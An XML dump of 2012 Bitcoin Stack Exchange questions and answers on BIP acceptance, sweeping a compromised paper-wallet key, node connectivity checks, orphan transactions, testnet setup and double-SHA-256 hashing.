  <row Id="5640" PostTypeId="1" AcceptedAnswerId="18082" CreationDate="2012-12-07T10:34:52.353" Score="10" ViewCount="667" Body="&lt;p&gt;Who decides to change the status from Draft to Accepted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0001&quot;&gt;BIP 0001&lt;/a&gt; doesn't seem to clearly state this. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this a vote by the developers?&lt;/li&gt;&#xA;&lt;li&gt;Whose vote exactly do we count?&lt;/li&gt;&#xA;&lt;li&gt;How is it conducted and counted?&lt;/li&gt;&#xA;&lt;li&gt;Are there veto rights?&lt;/li&gt;&#xA;&lt;li&gt;Who handles disputes?&lt;/li&gt;&#xA;&lt;li&gt;Is there a specific channel/topic/bitcointalk thread where accepted BIPs are published? (for those of us who don't follow the entire dev mailing list)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-06T01:04:28.167" Title="How is a BIP accepted?" Tags="|development|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5641" PostTypeId="5" CreationDate="2012-12-07T10:36:25.380" Score="0" Body="&lt;p&gt;BIP stands for Bitcoin Improvement Proposal. A BIP is a design document providing information to the Bitcoin community, or describing a new feature for Bitcoin or its processes or environment. The BIP should provide a concise technical specification of the feature and a rationale for the feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0001&quot; rel=&quot;nofollow&quot;&gt;BIP 0001&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-12-07T10:36:25.380" LastActivityDate="2012-12-07T10:36:25.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5642" PostTypeId="4" CreationDate="2012-12-07T10:36:25.380" Score="0" Body="Bitcoin Improvement Proposal - a design document providing information to the Bitcoin community, or describing a new feature for Bitcoin or its processes or environment." OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-12-07T10:36:25.380" LastActivityDate="2012-12-07T10:36:25.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5643" PostTypeId="1" AcceptedAnswerId="5686" CreationDate="2012-12-07T10:58:14.157" Score="5" ViewCount="1363" Body="&lt;p&gt;I know MtGox allows me to redeem a private key, but that doesn't necessarily ensure that all the value is extracted from that address in a timely manner. Is there no simple way to send the entire value of a private key to another address in case you believe the private key has been compromised? My real use for this is in having offline/paper wallets. I would like to transfer my bitcoins to an offline &quot;savings&quot; address, then when I want to make a withdrawal, be able to transfer the entire value of that private key to a new address because, having entered the private key somewhere to redeem its value, its privacy could have been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a very common use case for paper wallets. Am I missing something? It should be easier to spend the value from a particular address. Why can't I use my bitcoin client to spend a specific address? I can import private keys into bitcoin v0.7.1-beta (although even that is an obscure debug window) function, but it looks like sending from a specific address is also an obscure debug function (sendfrom). Why is this so obscure when it seems like such a common case? What is one to do if they suspect a particular address' private key of being compromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can I tell how much value is available on my various addresses to make sure I extract the full value? Blockchain.info seems to do a good job, but it's Dutch -- isn't there an English site or bitcoin client function to determine an address' value. That too seems really basic. I have tried blockexplorer.com, but that site rarely seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I'm trying to accomplish the most basic of tasks, and the tools just aren't there, so I must be missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; I am using also Android devices with BitcoinSpinner. I would be interested to know if some more sophisticated clients allow this more easily -- scanning both a private key as a source and a public key as a destination -- to create a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.P.S&lt;/strong&gt; I'm also not clear on how to use the backup provided by BitcoinSpinner. I tried to import it as a private key into bitcoin v0.7.1-beta on my desktop, but it didn't work. The only way I could figure out how to essentially get a backup of BitcounSpinner into my desktop's client was to import the private key, which I know is wrong. There must be some way that backups are supposed to work.&lt;/p&gt;&#xA;" OwnerUserId="2335" LastEditorUserId="2335" LastEditDate="2012-12-07T14:21:41.230" LastActivityDate="2018-02-14T02:38:19.047" Title="How to redeem a private key in case it is compromised" Tags="|security|address|private-key|backup|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5644" PostTypeId="1" CreationDate="2012-12-07T11:25:46.100" Score="15" ViewCount="1568" Body="&lt;p&gt;I am required to setup a store that will operate through Tor and accept Bitcoin payments only. I know I can run the standard client on the server and make it connect to peers only through Tor. However, are there any other options available for handling Bitcoin side of things - hosting the wallet, creating accounts, receiving money and so forth? Do any eWallets or other services allow access through Tor?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="4525" LastEditDate="2013-04-20T14:14:58.507" LastActivityDate="2019-08-17T09:19:46.203" Title="Running a store through Tor - what are the setup options available?" Tags="|bitcoind|e-wallet|tor|hosting|website-integration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5645" PostTypeId="2" ParentId="5643" CreationDate="2012-12-07T11:29:17.703" Score="2" Body="&lt;p&gt;If you want to redeem all funds from a private key and never use it again - you can for example create a new wallet file, run a bitcoin client, import the private key, let the client fully synchronise, and then send all your available funds to another address you own. After that, you can move your old wallet back where it belongs and use the new funds transferred. The redeemed key will not interfere with your normal wallet and you will have your funds.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-07T11:29:17.703" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5646" PostTypeId="2" ParentId="5638" CreationDate="2012-12-07T11:50:26.267" Score="5" Body="&lt;p&gt;First, I'd like to point out that hash power in Bitcoin can indeed be regarded as voting power, but only about the part that is absolutely necessary. Bitcoin is generally a zero-trust system, which means all data received from the network is considered untrusted and verified. Rules like rate of currency introduction, not allowing a coin to be spent twice, requirement of valid signatures, ... are never voted about. Even a 51% of mining power cannot change these rules, as they would only get themselves ignored by the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one thing they vote about is the ordering of otherwise valid transactions. This is necessary as physics imposes minimum times for communication across the globe, so in case there are two attempts to spend the same coin, the whole world cannot be expected to agree about which was first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the choice for using &quot;one CPU per vote&quot; was probably indeed made without considering the evolution to GPUs, FPGAs and ASICs. Originally, Satoshi envisioned every full node on the network to be a miner, and even asked to avoid the arms race to more efficient mining hardware as long as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I believe assigning votes to computational power (proof of work) makes sense. It may not favor equality (those with better hardware get more), but it is fair (everyone can invest in hardware and reap the rewards). Except for systems which depend on data in the system itself (proof of stake, proof of activity), I don't know anything that is as impossible to fake or circumvent as proof-of-work.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2012-12-07T12:15:21.917" LastActivityDate="2012-12-07T12:15:21.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5647" PostTypeId="2" ParentId="5638" CreationDate="2012-12-07T12:39:46.807" Score="6" Body="&lt;p&gt;The motivation for this rule is simple - there is a requirement to have some voting mechanism , and this 1-CPU-1-vote mechanism is fair, in the sense that everyone can buy more CPU (or GPUs or ASICs) and mine. The rewards are proportional to the invested effort - better harder costs more, it doesn't matter if it's CPUs, GPUs or ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the protocol rewards miners in proportion to the amount of money they invest in buying mining gear. It's certainly better than rewarding per IP address, which is controlled by various organizations and ultimately centrally managed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I believe satoshi did foresee the evolution in mining gear, although it seems that it's not mentioned in the original whitepaper.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-12-07T12:39:46.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5648" PostTypeId="2" ParentId="5644" CreationDate="2012-12-07T14:48:46.840" Score="7" Body="&lt;p&gt;Try using bitwasp. It seems to provide a lot of features you need. Try it and let us know if it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Bit-Wasp/BitWasp&quot;&gt;https://github.com/Bit-Wasp/BitWasp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=109223.0&quot;&gt;https://bitcointalk.org/index.php?topic=109223.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2012-12-07T14:48:46.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5649" PostTypeId="1" AcceptedAnswerId="5652" CreationDate="2012-12-07T15:45:02.927" Score="1" ViewCount="231" Body="&lt;p&gt;I have bandwidth and CPU to spare and I'd like to participate in the P2P nature of sharing the blockchain to other peers.  How can I properly, and securely participate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can I test or verify my client that its working correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I participate in the same (port 8333) blockchain replication if I run in server mode? &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-07T17:52:36.790" Title="How do I test that blockchain p2p replication is properly, securely exposed to the internet?" Tags="|blockchain|bitcoin-core|windows|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5650" PostTypeId="1" CreationDate="2012-12-07T15:49:46.113" Score="4" ViewCount="1800" Body="&lt;p&gt;I'm interested in automatic trading but I don't know how to get started.&lt;/p&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2014-01-12T16:10:31.107" Title="Is there an open source bot I can get for BTC-E?" Tags="|exchanges|bots|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5651" PostTypeId="1" AcceptedAnswerId="5668" CreationDate="2012-12-07T17:28:26.537" Score="1" ViewCount="336" Body="&lt;p&gt;Sites like &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt; and &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; where you can print out a paper wallet also show your current Bitcoin balance on your paper wallet. But your balance is something that is constantly changing, so why would it be printed on a paper wallet?&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="2355" LastEditDate="2012-12-07T23:17:36.570" LastActivityDate="2012-12-08T18:15:37.840" Title="Why is your Bitcoin balance displayed on paper wallets?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5652" PostTypeId="2" ParentId="5649" CreationDate="2012-12-07T17:52:36.790" Score="1" Body="&lt;p&gt;If you already have bitcoin up and running for some time, just open terminal/commandline window and run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;netstat -b (Windows)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;netstat -tnp (Linux)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Local address column output, note whether there is port 8333 used with any bitcoind connection. If yes, you know that your node is reachable from internet and thus you are fully participating. Otherwise you need to allow connections to port 8333 from outside in your firewall, so that you don't have to depend on other nodes accepting connections. Also, healthy and up to date node is sending/receiving transactions quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other concerns, like security, are handled by bitcoind automatically, as it verifies all received data. The bitcoin-qt GUI is working in exactly the same way, I just presume you'd prefer running bitcoind as a background service. &lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-12-07T17:52:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5654" PostTypeId="2" ParentId="5378" CreationDate="2012-12-07T19:12:10.077" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://anonymousads.com/&quot; rel=&quot;nofollow&quot;&gt;https://anonymousads.com/&lt;/a&gt; on a blog site. They pay in Bitcoin but don't host anything themselves as far as I know&lt;/p&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2012-12-07T19:12:10.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5658" PostTypeId="2" ParentId="5643" CreationDate="2012-12-07T23:05:37.603" Score="0" Body="&lt;p&gt;From a mobile or tablet access &lt;a href=&quot;http://easywallet.org&quot; rel=&quot;nofollow&quot;&gt;EasyWallet.org&lt;/a&gt; and click Scan.  Done.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-07T23:05:37.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5659" PostTypeId="1" CreationDate="2012-12-08T04:05:41.510" Score="2" ViewCount="956" Body="&lt;p&gt;Any way that doesn't involve days of delay, verification etc? Are private traders available?&lt;/p&gt;&#xA;" OwnerUserId="2383" LastActivityDate="2014-08-21T11:22:44.530" Title="I'm in the uk, I wish to purchase bitcoins, but the process seems to be very convoluted. There has to be an easy way?" Tags="|payment|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5660" PostTypeId="2" ParentId="5659" CreationDate="2012-12-08T05:02:43.237" Score="3" Body="&lt;p&gt;Provided there is someone near you who advertises on &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt;, it's probably the most effortless solution available at the moment.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-08T05:02:43.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5661" PostTypeId="1" CreationDate="2012-12-08T06:36:57.867" Score="5" ViewCount="405" Body="&lt;p&gt;Bitcoin mining pools are like lending / borrowing cpu time, but it's only for hashing.&#xA;Is there something more general; a market where you can lend and borrow cpu time, disk space and so on?&lt;/p&gt;&#xA;" OwnerUserId="1957" LastEditorUserId="5406" LastEditDate="2016-01-23T12:55:58.377" LastActivityDate="2016-01-23T12:55:58.377" Title="Is there a bitcoin market for CPU time / memory space / disk space?" Tags="|cpu|marketplace|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5662" PostTypeId="1" AcceptedAnswerId="5667" CreationDate="2012-12-08T09:39:42.147" Score="3" ViewCount="1017" Body="&lt;p&gt;From this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=80312.msg1382307#msg1382307&quot; rel=&quot;nofollow&quot;&gt;analysis thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SD Profit after fees:       22476.66146080 BTC (1.688%)&#xA;Pending Liabilities:         6821.78965204 BTC&#xA;Final SD Profit:            15654.87180876 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From now on my reports will include this 'pending liabilities' figure&#xA;  since it's really getting out of hand.  There are bets going back 5&#xA;  days which haven't been paid out, almost all of them are winning bets.&#xA;  In total SDICE currently owes its customers around 6800 BTC, or around&#xA;  $91,000 US in unpaid bets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How come there are unpaid bets going back 5 days? Does Satoshi Dice always pay immediately?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-01-18T03:26:04.767" Title="Does Satoshi Dice owe its customers money? How come?" Tags="|satoshidice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5663" PostTypeId="2" ParentId="5661" CreationDate="2012-12-08T13:23:20.187" Score="2" Body="&lt;p&gt;Maybe not exactly what you are asking for but &lt;a href=&quot;http://coinlab.com/&quot; rel=&quot;nofollow&quot;&gt;CoinLab&lt;/a&gt; have a mining pool that intends to use the computing power of their members for jobs other than hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Bitcoin talk &lt;a href=&quot;https://bitcointalk.org/index.php?topic=99643.msg1089915#msg1089915&quot; rel=&quot;nofollow&quot;&gt;forum topic&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We’ve identified a number of opportunities to monetize our growing GPU cluster at a higher rate than Bitcoin mining, particularly for NVIDIA cards:  Protein Folding, Computational Finance, and Big Data Analysis, just to name a few.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-12-08T13:23:20.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5664" PostTypeId="1" AcceptedAnswerId="5978" CreationDate="2012-12-08T14:11:13.190" Score="19" ViewCount="2299" Body="&lt;p&gt;To the best of my knowledge, currently &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4488/2343&quot;&gt;&quot;Satoshi&quot; client relays and most pools accept only standard (transfer or generation) transactions&lt;/a&gt;. Besides, community is working on &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0011&quot; rel=&quot;nofollow noreferrer&quot;&gt;M-of-N transaction type&lt;/a&gt;. Adding non-standard transaction to the blockchain is nowadays pretty problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While currently enabling arbitrary scripts in transactions could be disastrous due to possible bugs in code (or in the script system itself), I wonder if it is planned to allow arbitrary transactions somewhere in the future, or will most of the network always be restricted to some set of &quot;good&quot; transaction templates?&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="5406" LastEditDate="2017-12-23T19:04:50.347" LastActivityDate="2017-12-23T19:04:50.347" Title="Will general non-standard transactions ever be allowed?" Tags="|script|non-standard-transaction|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5666" PostTypeId="1" AcceptedAnswerId="5670" CreationDate="2012-12-08T16:42:52.480" Score="7" ViewCount="2619" Body="&lt;p&gt;On the simple view on the Electrum client, the value of the bitcoins is displayed in USD, GBP and EUR (changeable by clicking on it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently by clicking through, I am seeing exchange rates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10.29GBP/BTC&lt;/li&gt;&#xA;&lt;li&gt;10.40EUR/BTC&lt;/li&gt;&#xA;&lt;li&gt;11.90USD/BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is completely out of line with mtgox, and also completely out of line with international currency markets (currently 1.6usd/gbp and 1.24eur/gbp)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So could someone explain where these rates come from and why they are so incorrect?&lt;/p&gt;&#xA;" OwnerUserId="983" LastActivityDate="2012-12-08T20:39:55.150" Title="Electrum exchange rates. Where do they come from and why are they incorrect?" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5667" PostTypeId="2" ParentId="5662" CreationDate="2012-12-08T17:51:20.253" Score="7" Body="&lt;p&gt;SatoshiDice pays most bets instantly, but for whatever reason sometimes bets get 'stuck'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue you're referring to in your question happened during an exceptionally high volume period for SatoshiDice.  They received over 70,000 BTC worth of bets in a 24 hour period, which is much higher than usual.  The high turnover apparently causes issues with paying out in a timely fashion.  This was compounded by a bug which caused too much of SatoshiDice's BTC holdings to be transferred into cold storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this morning there is only one bet that hasn't been paid out.  It was a bet for 0.35 BTC, and it lost.  So to answer your question &quot;No, they don't currently owe their customers money.  But sometimes they do fall behind for a few days&quot;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-12-08T17:51:20.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5668" PostTypeId="2" ParentId="5651" CreationDate="2012-12-08T18:15:37.840" Score="2" Body="&lt;p&gt;The balance of an address only changes if you send bitcoins into or from it. Paper wallets are usually intended to be swiped only once, so you should not have outgoing transactions while the paper wallet is still valid. You could add coins to it, as a sort of piggy bank, but there are also use cases where the amount will be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the paper wallet is intended to be used with a fixed balance, it can be printed on it for convenience; if not and an amount is printed anyway, it can simply be ignored.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-08T18:15:37.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5670" PostTypeId="2" ParentId="5666" CreationDate="2012-12-08T20:39:55.150" Score="4" Body="&lt;p&gt;As of this writing, Electrum &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/9fc4e1a1b10a486d8c56d8c08f1d86d23dfd2e5e/lib/exchange_rate.py#L31&quot; rel=&quot;nofollow&quot;&gt;retrieves its exchange rate&lt;/a&gt; from &lt;a href=&quot;https://intersango.com/&quot; rel=&quot;nofollow&quot;&gt;Intersango&lt;/a&gt;. The last sale there must have been abnormally low for the current exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-08T20:39:55.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5671" PostTypeId="1" AcceptedAnswerId="5677" CreationDate="2012-12-08T22:53:51.103" Score="25" ViewCount="22009" Body="&lt;p&gt;The Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Hashes&quot;&gt;Protocol-specification&lt;/a&gt; gives an example of double-SHA-256 encoding. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hello&lt;br&gt;&#xA;  2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 (first round of sha-256)&lt;br&gt;&#xA;  9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50 (second round of sha-256)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried various SHA256 &lt;a href=&quot;http://www.xorbin.com/tools/sha256-hash-calculator&quot;&gt;calculators&lt;/a&gt; and the first encoding matches no problem, but the second always resolves to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;d7914fe546b684688bb95f4f888a92dfc680603a75f23eb823658031fff766d9&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've also tried UPPERCASE and swapping the byte endianness.&lt;/p&gt;&#xA;" OwnerUserId="2375" LastEditorUserId="2375" LastEditDate="2018-07-25T22:46:39.067" LastActivityDate="2023-08-21T15:40:01.053" Title="How do you perform double-SHA-256 encoding?" Tags="|hash|sha256|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5672" PostTypeId="1" AcceptedAnswerId="6021" CreationDate="2012-12-09T01:57:53.960" Score="2" ViewCount="224" Body="&lt;p&gt;I set the following when I run &lt;code&gt;&#xA;bitcoind -debug -server -detachdb -printtodebugger -printtoconsole&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debug.log&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socket recv flood control disconnect (5018020 bytes)&#xA;disconnecting node 82.41.255.68:8333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What client actions would cause this entry to appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What settings (client side or server side) are available to adjust this for higher or lower capacity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What side effects are there with adjusting this capacity (semaphore lockups, db contention, etc)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-06T12:46:56.247" Title="Digging into debug message: &quot;socket recv flood control disconnect (x bytes) &quot;" Tags="|bitcoind|bitcoin-core|server|throttling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5673" PostTypeId="1" AcceptedAnswerId="5675" CreationDate="2012-12-09T02:06:09.940" Score="4" ViewCount="2069" Body="&lt;p&gt;The debug.log for my machine lists the following information while synching&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: FetchInputs() : 5b5e32cc97 mempool Tx prev not found e99babf87a&#xA;stored orphan tx 5b5e32cc97 (mapsz 414)&#xA;received: tx (227 bytes)&#xA;ERROR: FetchInputs() : 93ce7eee97 mempool Tx prev not found 8d56e0b192&#xA;stored orphan tx 93ce7eee97 (mapsz 415)&#xA;received: tx (259 bytes)&#xA;ERROR: FetchInputs() : 7baab3c99a mempool Tx prev not found 2ca8483584&#xA;stored orphan tx 7baab3c99a (mapsz 416)&#xA;sending: addr (181 bytes)&#xA;Flushing wallet.dat&#xA;Flushed 12367 addresses to peers.dat  62ms&#xA;Flushed wallet.dat 5335ms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it correct to say that the orphaned transactions were added to the chain, but was replaced by another block?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are orphaned transactions replicated to my client when I download the chain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I tell if the orphaned tx ever made it into a block?  (would the # stay the same?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is a &lt;code&gt;mapsz&lt;/code&gt; and when is it important?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-09T02:27:03.630" Title="Debug.log : How do I analyze an orphaned transaction?" Tags="|transactions|development|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5674" PostTypeId="1" AcceptedAnswerId="5676" CreationDate="2012-12-09T02:24:31.003" Score="6" ViewCount="2889" Body="&lt;p&gt;Bitcoin and Bitcoind will send an error if it is launched multiple times.  I'm assuming this is because they share the same database and wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run two instances of Bitcoin QT / bitcoind with one listening on Production and the other on Test? (on the same computer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this advisable or not advisable?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2015-03-04T12:38:38.960" Title="How can I run bitcoind on test and production networks, at the same time, on the same computer?" Tags="|development|bitcoind|bitcoin-core|testnet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5675" PostTypeId="2" ParentId="5673" CreationDate="2012-12-09T02:27:03.630" Score="8" Body="&lt;p&gt;An orphan transaction is a transaction that consumes a coin whose creating transaction is not known to your client. This has nothing to do with orphan blocks (which are blocks whose parent block is not known, or according to another definition, blocks that are no longer part of the best chain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orphan transactions are not part of a block (they cannot be verified until their parents are known, and only valid transactions are allowed in blocks), and are kept in memory in the client. When their parents become known, and they are found valid, they are moved to the memory pool (which is - as the name suggests - also kept in memory only). From there, they are considered to be included in new blocks (if you're mining). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This piece of debug.log tells you that there are 3 transactions received (separate transactions, not part of a block) that reference some inputs that aren't known. Because of this, they are stored in the orphan pool, which grows as a result of that. &quot;mapsz&quot; stands for &quot;map size&quot; (as the orphans are stored in a map) - the number is just the number of remembered orphans.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-09T02:27:03.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5676" PostTypeId="2" ParentId="5674" CreationDate="2012-12-09T02:29:17.870" Score="5" Body="&lt;p&gt;You can run a mainnet and testnet bitcoind next to eachother without problems. They do not share the same database (one will use the testnet3/ subdirectory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will conflict is the RPC port, as they will both try to bind to port 8332 for receiving RPC connections. Use -rpcport=N on one of them to use a different port.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-09T02:29:17.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5677" PostTypeId="2" ParentId="5671" CreationDate="2012-12-09T02:33:03.650" Score="35" Body="&lt;p&gt;You're hashing the hexadecimal representation of the first hash. You need to hash the actual hash -- the binary data that the hex represents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n hello |openssl dgst -sha256 -binary |openssl dgst -sha256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastEditorUserId="2306" LastEditDate="2013-06-13T20:43:57.050" LastActivityDate="2013-06-13T20:43:57.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
